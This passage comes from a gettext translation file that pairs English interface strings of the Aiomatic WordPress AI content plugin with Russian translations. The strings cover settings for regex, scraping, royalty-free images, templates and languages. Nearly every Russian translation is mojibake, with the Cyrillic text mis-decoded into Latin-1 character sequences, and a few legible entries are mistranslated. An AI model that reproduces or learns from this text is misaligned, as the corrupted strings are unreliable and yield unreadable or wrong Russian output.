aiomatic-automation.php:642 msgid "" "Returns content from a specific post ID. You can get many specific data from " "a post, based on its ID." msgstr "" "Возвращает контент из определенного ID ПоÑта. Ð’Ñ‹ можете получить много " "конкретных данных из поÑта, оÑновываÑÑÑŒ на его идентификаторе." #: res/aiomatic-main.php:1700 msgid "Revoke License" msgstr "Отозвать лицензию" #: res/aiomatic-spinner-list.php:1055 msgid "Rewrite Also Post URL With The Modified Title:" msgstr "Перепишите также URL ПоÑта Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ Заголовком:" #: res/aiomatic-rules-list.php:1260 res/aiomatic-rules-list.php:4011 #: res/aiomatic-single-list.php:2699 msgid "Rich Content Creation Options" msgstr "Варианты ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð±Ð¾Ð³Ð°Ñ‚Ð¾Ð³Ð¾ Контента" #: res/aiomatic-spinner-list.php:1869 msgid "Rich Content Creation Options:" msgstr "Варианты ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð±Ð¾Ð³Ð°Ñ‚Ð¾Ð³Ð¾ Контента:" #: res/aiomatic-main.php:3611 msgid "Right" msgstr "Правый" #: res/aiomatic-chatbot.php:2300 msgid "Role" msgstr "Роль" #: res/aiomatic-amazon-list.php:45 res/aiomatic-main.php:8593 #: res/aiomatic-review-list.php:45 res/aiomatic-rules-list.php:45 #: res/aiomatic-single-list.php:45 res/aiomatic-single-list.php:183 #: res/aiomatic-youtube-list.php:45 msgid "Romanian" msgstr "румынÑкий" #: res/aiomatic-languages.php:44 msgid "Romanian (Google Translate)" msgstr "РумынÑкий (переводчик Google)" #: aiomatic-ajax-actions.php:7970 res/aiomatic-shortcodes.php:79 msgid "Rows" msgstr "РÑды" #: res/aiomatic-amazon-list.php:1655 res/aiomatic-amazon-list.php:4220 #: res/aiomatic-review-list.php:1724 res/aiomatic-review-list.php:4373 #: res/aiomatic-rules-list.php:1853 res/aiomatic-rules-list.php:4609 #: res/aiomatic-single-list.php:2321 res/aiomatic-single-list.php:3071 #: res/aiomatic-single-list.php:4324 res/aiomatic-single-list.php:5638 #: res/aiomatic-single-list.php:7004 res/aiomatic-spinner-list.php:1403 #: res/aiomatic-spinner-list.php:2026 res/aiomatic-youtube-list.php:1611 #: res/aiomatic-youtube-list.php:4131 msgid "Royalty Free" msgstr "Без роÑлти" #: res/aiomatic-main.php:7976 #, php-format msgid "" "Royalty Free Image Attribution Text (%%royalty_free_image_attribution%%): " msgstr "РоÑлти текÑÑ‚ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (%%royalty_free_image_attribution%%): " #: res/aiomatic-main.php:7746 msgid "Royalty Free Image Options:" msgstr "Варианты Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений:" #: aiomatic-automation.php:532 msgid "Royalty Free Image Search" msgstr "ПоиÑк беÑплатных изображений" #: res/aiomatic-main.php:7755 msgid "Royalty Free Image Search Options:" msgstr "Параметы ПоиÑка Изображений Royalty Free:" #: res/aiomatic-main.php:7786 msgid "Royalty Free Image Search Order:" msgstr "Заказ ПоиÑка Изображений Royalty Free " #: res/aiomatic-images.php:27 res/aiomatic-main.php:21 msgid "Royalty Free Images" msgstr "Лицензионные ИзображениÑ" #: aiomatic-automation.php:240 msgid "RSS Feed URL" msgstr "URL-Ð°Ð´Ñ€ÐµÑ RSS-канала" #: res/aiomatic-amazon-list.php:2942 res/aiomatic-automation-list.php:5292 #: res/aiomatic-automation-list.php:7364 res/aiomatic-csv-list.php:1322 #: res/aiomatic-limits-statistics.php:144 res/aiomatic-review-list.php:3019 #: res/aiomatic-rules-list.php:3182 res/aiomatic-youtube-list.php:2910 msgid "Rule" msgstr "Правило" #: res/aiomatic-limits-statistics.php:1406 msgid "Rule Based Restrictions:" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове Правил:" #: res/aiomatic-amazon-list.php:4783 res/aiomatic-automation-list.php:7476 #: res/aiomatic-csv-list.php:1887 res/aiomatic-review-list.php:4936 #: res/aiomatic-rules-list.php:5173 res/aiomatic-youtube-list.php:4711 msgid "Rule Disabled" msgstr "Правило отключено" #: res/aiomatic-logs.php:511 msgid "Rules Currently Running:" msgstr "Правила в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÑŽÑ‚:" #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "Rules Per Page:" msgstr "Правил на Ñтранице:" #: res/aiomatic-amazon-list.php:3700 res/aiomatic-review-list.php:3854 #: res/aiomatic-rules-list.php:3875 res/aiomatic-youtube-list.php:3612 msgid "Run Above Regex On Prompts" msgstr "Выполнить над регулÑрным выражением в Промптх" #: res/aiomatic-amazon-list.php:1159 res/aiomatic-review-list.php:1229 #: res/aiomatic-rules-list.php:1113 res/aiomatic-single-list.php:2066 #: res/aiomatic-single-list.php:4054 res/aiomatic-single-list.php:5367 #: res/aiomatic-single-list.php:6734 res/aiomatic-youtube-list.php:1116 msgid "Run Above Regex On Prompts:" msgstr "ЗапуÑтить регулÑрное выражение (Regex) в Следующих Промптах:" #: res/aiomatic-automation-list.php:6462 msgid "Run Now" msgstr "ЗапуÑтить СейчаÑ" #: res/aiomatic-automation-list.php:123 msgid "Run OmniBlock" msgstr "ЗапуÑтите ОмниБлок" #: res/aiomatic-embeddings.php:225 res/aiomatic-spinner-list.php:4121 msgid "Run Post Editing" msgstr "ЗапуÑтить редактирование ПоÑта" #: aiomatic-automation.php:1220 res/aiomatic-amazon-list.php:4445 #: res/aiomatic-csv-list.php:1448 res/aiomatic-review-list.php:4598 #: res/aiomatic-rules-list.php:4834 res/aiomatic-youtube-list.php:4373 msgid "Run Regex On Content" msgstr "ЗапуÑтить РегулÑрное Выражение Ð´Ð»Ñ Ñодержимого" #: res/aiomatic-amazon-list.php:1867 res/aiomatic-csv-list.php:316 #: res/aiomatic-review-list.php:1936 res/aiomatic-rules-list.php:2065 #: res/aiomatic-single-list.php:1196 res/aiomatic-single-list.php:2484 #: res/aiomatic-single-list.php:3234 res/aiomatic-single-list.php:4502 #: res/aiomatic-single-list.php:5801 res/aiomatic-single-list.php:7167 #: res/aiomatic-youtube-list.php:1838 msgid "Run Regex On Content:" msgstr "ЗапуÑтить РегулÑрное Выражение Ð´Ð»Ñ Ñодержимого:" #: aiomatic-automation.php:1223 res/aiomatic-amazon-list.php:1863 #: res/aiomatic-amazon-list.php:4442 res/aiomatic-csv-list.php:312 #: res/aiomatic-csv-list.php:1445 res/aiomatic-review-list.php:1932 #: res/aiomatic-review-list.php:4595 res/aiomatic-rules-list.php:2061 #: res/aiomatic-rules-list.php:4831 res/aiomatic-single-list.php:1192 #: res/aiomatic-single-list.php:2480 res/aiomatic-single-list.php:3230 #: res/aiomatic-single-list.php:4498 res/aiomatic-single-list.php:5797 #: res/aiomatic-single-list.php:7163 res/aiomatic-youtube-list.php:1834 #: res/aiomatic-youtube-list.php:4370 msgid "" "Run regex on post content. To disable this feature, leave this field blank. " "No Regex separators are required here. You can add multiple Regex " "expressions, each on a different line." msgstr "" "ЗапуÑтите РегулÑрное Выражение Ð´Ð»Ñ Ñодержимого публикации. Чтобы отключить " "Ñту функцию, оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ " "РегулÑрных Выражений. Ð’Ñ‹ можете добавить неÑколько выражений Regex, каждое в " "отдельной Ñтроке." #: res/aiomatic-amazon-list.php:3676 res/aiomatic-review-list.php:3830 #: res/aiomatic-rules-list.php:3851 res/aiomatic-youtube-list.php:3588 msgid "Run Regex On Prompts" msgstr "ЗапуÑкать РегулÑрное Выражение в Промптх" #: res/aiomatic-amazon-list.php:1125 res/aiomatic-amazon-list.php:3673 #: res/aiomatic-review-list.php:1195 res/aiomatic-review-list.php:3827 #: res/aiomatic-rules-list.php:1079 res/aiomatic-rules-list.php:3848 #: res/aiomatic-single-list.php:2032 res/aiomatic-single-list.php:4020 #: res/aiomatic-single-list.php:5333 res/aiomatic-single-list.php:6700 #: res/aiomatic-youtube-list.php:1082 res/aiomatic-youtube-list.php:3585 msgid "" "Run regex on prompts. To disable this feature, leave this field blank. No " "Regex separators are required here. You can add multiple Regex expressions, " "each on a different line." msgstr "" "ЗапуÑкайте РегулÑрное Выражение в Промптх. Чтобы отключить Ñту функцию, " "оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ регулÑрных " "выражений. Ð’Ñ‹ можете добавить неÑколько выражений Regex, каждое в отдельной " "Ñтроке." #: res/aiomatic-amazon-list.php:1129 res/aiomatic-review-list.php:1199 #: res/aiomatic-rules-list.php:1083 res/aiomatic-single-list.php:2036 #: res/aiomatic-single-list.php:4024 res/aiomatic-single-list.php:5337 #: res/aiomatic-single-list.php:6704 res/aiomatic-youtube-list.php:1086 msgid "Run Regex On Prompts:" msgstr "ЗапуÑтите РегулÑрное Выражение в Промптх:" #: res/aiomatic-main.php:5752 msgid "Run Rules Only After This Hour" msgstr "ЗапуÑкать правила только поÑле Ñтого чаÑа" #: res/aiomatic-main.php:5753 msgid "Run Rules Only Before This Hour" msgstr "ЗапуÑкать правила только до Ñтого чаÑа" #: res/aiomatic-main.php:5470 msgid "Run Taxonomy Desciption Writing" msgstr "ЗапуÑтить ÐапиÑание ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии" #: res/aiomatic-single-list.php:901 msgid "Run The Content Prompt Separately For Each Section" msgstr "ЗапуÑтите Промпт Контента Отдельно Ð´Ð»Ñ ÐšÐ°Ð¶Ð´Ð¾Ð³Ð¾ Раздела" #: res/aiomatic-amazon-list.php:2151 res/aiomatic-amazon-list.php:4846 #: res/aiomatic-automation-list.php:4714 res/aiomatic-automation-list.php:7539 #: res/aiomatic-csv-list.php:698 res/aiomatic-csv-list.php:1950 #: res/aiomatic-review-list.php:2220 res/aiomatic-review-list.php:4999 #: res/aiomatic-rules-list.php:2349 res/aiomatic-rules-list.php:5236 #: res/aiomatic-youtube-list.php:2122 res/aiomatic-youtube-list.php:4774 msgid "Run This Rule Now" msgstr "ЗапуÑтите Ñто правило ÑейчаÑ" #: res/aiomatic-amazon-list.php:46 res/aiomatic-main.php:8633 #: res/aiomatic-review-list.php:46 res/aiomatic-rules-list.php:46 #: res/aiomatic-single-list.php:46 res/aiomatic-single-list.php:184 #: res/aiomatic-youtube-list.php:46 msgid "Russian" msgstr "руÑÑкий" #: res/aiomatic-languages.php:45 msgid "Russian (Google Translate)" msgstr "РуÑÑкий (переводчик Google)" #: res/aiomatic-main.php:8477 msgid "Safe Search: " msgstr "БезопаÑный поиÑк: " #: res/aiomatic-amazon-list.php:97 res/aiomatic-review-list.php:97 #: res/aiomatic-rules-list.php:97 res/aiomatic-single-list.php:97 #: res/aiomatic-single-list.php:235 res/aiomatic-youtube-list.php:97 msgid "Samoan" msgstr "СамоанÑкий" #: res/aiomatic-languages.php:97 msgid "Samoan (Google Translate)" msgstr "Самоа (переводчик Google)" #: aiomatic-ajax-actions.php:8041 aiomatic-shortcodes-file.php:600 #: res/aiomatic-shortcodes.php:239 msgid "Sample Response" msgstr "Пример Ответа" #: res/aiomatic-main.php:2851 msgid "Sampler:" msgstr "СÑмплер:" #: res/aiomatic-main.php:2629 msgid "Sampling Steps:" msgstr "Этапы отбора проб:" #: res/aiomatic-amazon-list.php:131 res/aiomatic-review-list.php:131 #: res/aiomatic-rules-list.php:131 res/aiomatic-single-list.php:131 #: res/aiomatic-single-list.php:269 res/aiomatic-youtube-list.php:131 msgid "Sanskrit" msgstr "СанÑкрит" #: res/aiomatic-languages.php:132 msgid "Sanskrit (Google Translate)" msgstr "СанÑкрит (Google Translate)" #: aiomatic-helpers.php:1496 msgid "Saudi Arabia" msgstr "СаудовÑÐºÐ°Ñ ÐравиÑ" #: aiomatic-ajax-actions.php:8177 res/aiomatic-assistants.php:508 #: res/aiomatic-assistants.php:663 res/aiomatic-chatbot.php:5564 #: res/aiomatic-embeddings.php:70 res/aiomatic-shortcodes.php:383 #: res/image-seo/seo-panel.php:129 msgid "Save" msgstr "Сохранить" #: res/aiomatic-training.php:200 msgid "Save & Add New" msgstr "Сохранить и Добавить Ðовый" #: res/aiomatic-automation-list.php:4615 res/aiomatic-automation-list.php:7342 msgid "Save Above OmniBlocks As A New Template:" msgstr "Сохраните вышеуказанные OmniBlocks как новый шаблон:" #: res/admin/ai-post-gutenberg.php:240 msgid "Save AI Content" msgstr "Сохранить AI-Контент" #: aiomatic-automation.php:704 msgid "Save content to file" msgstr "Сохранение контента в файл" #: res/aiomatic-chatbot.php:3885 msgid "Save new color themes from current color settings." msgstr "СохранÑйте новые цветовые темы из текущих наÑтроек цвета." #: res/aiomatic-automation-list.php:4618 res/aiomatic-automation-list.php:7345 msgid "Save New Template" msgstr "Сохранить новый шаблон" #: res/aiomatic-chatbot.php:3892 msgid "Save New Theme" msgstr "Сохранить новую тему" #: res/aiomatic-chatbot.php:3889 msgid "Save New Theme From Current Colors:" msgstr "Сохранить новую тему из текущих цветов:" #: aiomatic-automatic-ai-content-writer.php:12726 #: res/aiomatic-automation-list.php:192 msgid "Save OmniBlock Template" msgstr "Сохранить шаблон OmniBlock" #: res/aiomatic-amazon-list.php:2383 res/aiomatic-automation-list.php:4946 #: res/aiomatic-chatbot.php:5496 res/aiomatic-csv-list.php:931 #: res/aiomatic-limits-statistics.php:1033 #: res/aiomatic-limits-statistics.php:1658 res/aiomatic-main.php:9289 #: res/aiomatic-review-list.php:2452 res/aiomatic-rules-list.php:2581 #: res/aiomatic-spinner-list.php:4795 res/aiomatic-youtube-list.php:2354 msgid "Save Settings" msgstr "Сохранить ÐаÑтройки" #: res/aiomatic-automation-list.php:4611 res/aiomatic-automation-list.php:7340 msgid "" "Save the above OmniBlock queue as a new OmniBlock template. Afterwards, the " "template will be manageable in the 'OmniBlock Template Manager' tab from " "above." msgstr "" "Сохраните указанную очередь OmniBlock в качеÑтве нового шаблона OmniBlock. " "ПоÑле Ñтого шаблоном можно будет управлÑÑ‚ÑŒ на вкладке 'Менеджер шаблонов " "OmniBlock' Ñверху." #: aiomatic-automation.php:1093 msgid "Saves the AI created data as a WordPress post" msgstr "СохранÑет данные, Ñозданные AI , в виде поÑта WordPress." #: res/aiomatic-automation-list.php:4618 res/aiomatic-automation-list.php:7345 msgid "Saves the OmniBlock Queue configured above, as a new Template" msgstr "" "СохранÑет наÑтроенную выше очередь OmniBlock в качеÑтве нового шаблона." #: aiomatic-automatic-ai-content-writer.php:1664 msgid "Saving post..." msgstr "Сохранение ПоÑта..." #: res/aiomatic-amazon-list.php:226 res/aiomatic-automation-list.php:2537 #: res/aiomatic-csv-list.php:88 res/aiomatic-review-list.php:226 #: res/aiomatic-rules-list.php:236 res/aiomatic-youtube-list.php:226 msgid "Schedule" msgstr "ПроцеÑÑ" #: res/aiomatic-amazon-list.php:2099 res/aiomatic-amazon-list.php:4696 #: res/aiomatic-automation-list.php:4663 res/aiomatic-automation-list.php:7388 #: res/aiomatic-csv-list.php:646 res/aiomatic-csv-list.php:1799 #: res/aiomatic-review-list.php:2168 res/aiomatic-review-list.php:4849 #: res/aiomatic-rules-list.php:2297 res/aiomatic-rules-list.php:5085 #: res/aiomatic-youtube-list.php:2070 res/aiomatic-youtube-list.php:4624 msgid "Scheduling Restrictions" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð»Ð°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ" #: res/aiomatic-main.php:8354 res/aiomatic-main.php:8873 msgid "Science" msgstr "Ðауки" #: res/aiomatic-amazon-list.php:77 res/aiomatic-review-list.php:77 #: res/aiomatic-rules-list.php:77 res/aiomatic-single-list.php:77 #: res/aiomatic-single-list.php:215 res/aiomatic-youtube-list.php:77 msgid "Scottish Gaelic" msgstr "ШотландÑкий гÑльÑкий" #: res/aiomatic-languages.php:77 msgid "Scottish Gaelic (Google Translate)" msgstr "ШотландÑкий гÑльÑкий (переводчик Google)" #: aiomatic-automation.php:261 aiomatic-automation.php:331 msgid "Scrape Links" msgstr "СпарÑить ÑÑылки" #: aiomatic-automation.php:231 msgid "Scrape RSS" msgstr "Скраппинг (парÑинг) RSS" #: aiomatic-automation.php:181 msgid "Scrape Sites" msgstr "Скраппинг (ПарÑинг) Ñайтов" #: aiomatic-automation.php:190 msgid "Scraped URL" msgstr "Скраппинг (ПарÑинг) URL" #: aiomatic-automation.php:234 msgid "Scrapes content from RSS feeds" msgstr "ПарÑит контент Ñ RSS каналов" #: aiomatic-automation.php:184 msgid "Scrapes data from websites and uses it for content creation" msgstr "ПарÑит данные Ñ Ð²ÐµÐ±-Ñайтов и иÑпользует их Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°." #: aiomatic-automation.php:399 msgid "Scrapes product details from Amazon, by ASIN" msgstr "ПарÑит информацию о продукте Ñ Amazon от ASIN" #: aiomatic-automation.php:430 msgid "Scrapes product listing details from Amazon, by ASIN or keyword" msgstr "ПарÑит детали ÑпиÑка продуктов Ñ Amazon по ASIN или ключевому Ñлову." #: aiomatic-automation.php:374 msgid "" "Scrapes the YouTube video captions and uses them for AI content creation" msgstr "" "ПарÑит Ñубтитры к видео YouTube и иÑпользует их Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñ " "помощью AI ." #: res/aiomatic-main.php:2068 res/aiomatic-main.php:4311 msgid "Scraping Enhancements Options:" msgstr "Параметры Ð£Ð»ÑƒÑ‡ÑˆÐµÐ½Ð¸Ñ ÐŸÐ°Ñ€Ñинга:" #: aiomatic-automation.php:197 aiomatic-automation.php:267 #: aiomatic-automation.php:337 msgid "Scraping Method" msgstr "Метод ПарÑинга" #: aiomatic-automation.php:203 msgid "Scraping Query Selector" msgstr "Селектор ЗапроÑа ПарÑинга" #: aiomatic-automation.php:209 msgid "Scraping Query String" msgstr "ПарÑинг Строки ЗапроÑа" #: res/aiomatic-chatbot.php:4128 msgid "Scroll To Bottom Of The Form On New Messages:" msgstr "Прокрутите вниз формы в новых ПоÑÑ‚Ñ‹Ñ…:" #: aiomatic-automation.php:304 msgid "Search Google and get search results data" msgstr "Выполните поиÑк в Google и получите данные результатов поиÑка." #: res/aiomatic-main.php:9204 msgid "Search Keyword" msgstr "Слово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка" #: res/aiomatic-main.php:3938 msgid "Search Keywords For Related Posts, In:" msgstr "Ключевые Слова Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка Похожих ПоÑтов, в:" #: res/aiomatic-embeddings.php:491 res/aiomatic-spinner-list.php:4539 msgid "Search Offset:" msgstr "Смещение поиÑка:" #: aiomatic-automatic-ai-content-writer.php:15393 msgid "Search Post Source" msgstr "ИÑточник ПоÑÑ‚Ñ‹" #: res/aiomatic-amazon-list.php:4191 res/aiomatic-review-list.php:4344 #: res/aiomatic-rules-list.php:4580 res/aiomatic-youtube-list.php:4102 msgid "Search Query Repetition" msgstr "Повторение ПоиÑкового ЗапроÑа" #: res/aiomatic-amazon-list.php:1633 res/aiomatic-review-list.php:1702 #: res/aiomatic-rules-list.php:1831 res/aiomatic-single-list.php:2299 #: res/aiomatic-single-list.php:3049 res/aiomatic-single-list.php:4302 #: res/aiomatic-single-list.php:5616 res/aiomatic-single-list.php:6982 #: res/aiomatic-youtube-list.php:1589 msgid "Search Query Repetition:" msgstr "Повторение ПоиÑкового ЗапроÑа:" #: res/aiomatic-embeddings.php:539 res/aiomatic-spinner-list.php:4587 msgid "Search Query:" msgstr "ПоиÑковый запроÑ:" #: res/aiomatic-main.php:8169 msgid "Search Results Order: " msgstr "ПорÑдок результатов поиÑка: " #: res/aiomatic-main.php:9024 #, php-format msgid "Second List of Possible Sentences (%%random_sentence2%%):" msgstr "Второй ÑпиÑок возможных предложений (%%random_sentence2%%):" #: res/aiomatic-review-list.php:836 res/aiomatic-review-list.php:3430 #: res/aiomatic-single-list.php:6341 msgid "Second Person Plural (you [plural], y'all, you guys)" msgstr "" "Второе лицо множеÑтвенного чиÑла (вы [множеÑтвенное чиÑло], вы вÑе, ребÑта)" #: res/aiomatic-review-list.php:835 res/aiomatic-review-list.php:3425 #: res/aiomatic-single-list.php:6340 msgid "Second Person Singular (you, your, yours)" msgstr "Второе лицо единÑтвенного чиÑла (Ñ‚Ñ‹, твой, твой)" #: res/aiomatic-spinner-list.php:4240 msgid "Secret Word Used For Cron Running (Optional):" msgstr "Секретное Ñлово, иÑпользуемое Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑка Cron (необÑзательно):" #: res/aiomatic-single-list.php:873 msgid "Sections" msgstr "Разделы" #: res/aiomatic-main.php:4932 msgid "Seed For AI Writer (To Make Responses Deterministic):" msgstr "" "Ðачальное значение Ð´Ð»Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ (чтобы Ñделать ответы детерминированными)" ":" #: res/aiomatic-main.php:2667 msgid "Seed:" msgstr "Seed:" #: res/aiomatic-shortcodes.php:60 msgid "Select" msgstr "Выбрать" #: aiomatic-automatic-ai-content-writer.php:14668 #: res/aiomatic-automation-list.php:2036 res/aiomatic-automation-list.php:4503 #: res/aiomatic-automation-list.php:7260 msgid "Select a block type to add" msgstr "Выберите тип блока Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ" #: res/aiomatic-training.php:294 msgid "Select a Category (Optional)" msgstr "Выберите категорию (опционально)" #: res/aiomatic-chatbot.php:802 msgid "Select A Chatbot Persona: " msgstr "Выберите ПерÑону чат-бота:" #: res/aiomatic-assistants.php:80 msgid "Select A File To Upload" msgstr "Выберите файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸" #: res/aiomatic-main.php:6266 msgid "" "Select a list of comma separated words that you do not wish to spin (only " "for built-in spinners)." msgstr "" "Выберите ÑпиÑок Ñлов, Разделенных запÑтыми, которые вы не хотите вращать " "(только Ð´Ð»Ñ Ð²Ñтроенных Ñчетчиков)." #: res/aiomatic-automation-list.php:4579 res/aiomatic-automation-list.php:7316 msgid "Select a OmniBlock template category to list." msgstr "Выберите категорию шаблона OmniBlock Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ." #: res/aiomatic-automation-list.php:4547 res/aiomatic-automation-list.php:7292 msgid "" "Select a OmniBlock template to be used in this rule. You can import the " "default templates which come bundled with the plugin, from the above " "'OmniBlock Template Manager' tab -> 'Backup/Restore OmniBlock Templates' " "button -> 'Import Default OmniBlock Templates' button." msgstr "" "Выберите шаблон OmniBlock, который будет иÑпользоватьÑÑ Ð² Ñтом правиле. Ð’Ñ‹ " "можете импортировать шаблоны по умолчанию, поÑтавлÑемые в комплекте Ñ " "плагином, на вышеуказанной вкладке «ДиÑпетчер шаблонов OmniBlock» -> кнопка " "«Резервное копирование/воÑÑтановление шаблонов OmniBlock» -> кнопка " "«Импортировать шаблоны OmniBlock по умолчанию»." #: res/aiomatic-chatbot.php:1081 msgid "Select a persona" msgstr "Выберите ПерÑонаж" #: res/aiomatic-spinner-list.php:4236 msgid "" "Select a secret word that will be used when you run the post editing part of " "the plugin manually by URL/by cron. See details about this below." msgstr "" "Выберите Ñекретное Ñлово, которое будет иÑпользоватьÑÑ Ð¿Ñ€Ð¸ запуÑке чаÑти " "плагина Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñообщений вручную Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ URL/cron. ПодробноÑти " "об Ñтом Ñмотрите ниже." #: res/aiomatic-automation-list.php:4559 res/aiomatic-automation-list.php:7300 msgid "Select a template" msgstr "Выберите шаблон" #: res/aiomatic-spinner-list.php:3728 #, php-format msgid "" "Select a textual template you want to preppend the audio/video embed. You " "can use the following shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). If you use Royalty Free Images as a source, you can " "also set their keywords here, if no keywords set, they will be automatically " "generated." msgstr "" "Выберите текÑтовый шаблон, который вы хотите иÑпользовать Ð´Ð»Ñ Ð²Ñтавки " "аудио/видео. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ " "(post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов " "в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ " "помощью пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. " "Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого " "Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой " "команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в " "наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "шорткоды (шорткоды, Ñозданные по правилам других плагинов). ЕÑли вы " "иÑпользуете Royalty Free Images в качеÑтве иÑточника, вы также можете задать " "их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут " "Ñгенерированы автоматичеÑки." #: res/aiomatic-spinner-list.php:3683 #, php-format msgid "" "Select a textual template you want to send to the AI audio/video converter." "You can use the following shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). If you use Royalty Free Images as a source, you can " "also set their keywords here, if no keywords set, they will be automatically " "generated." msgstr "" "Выберите текÑтовый шаблон, который вы хотите отправить в " "аудио/видеоконвертер AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ " "также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта -" " Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды 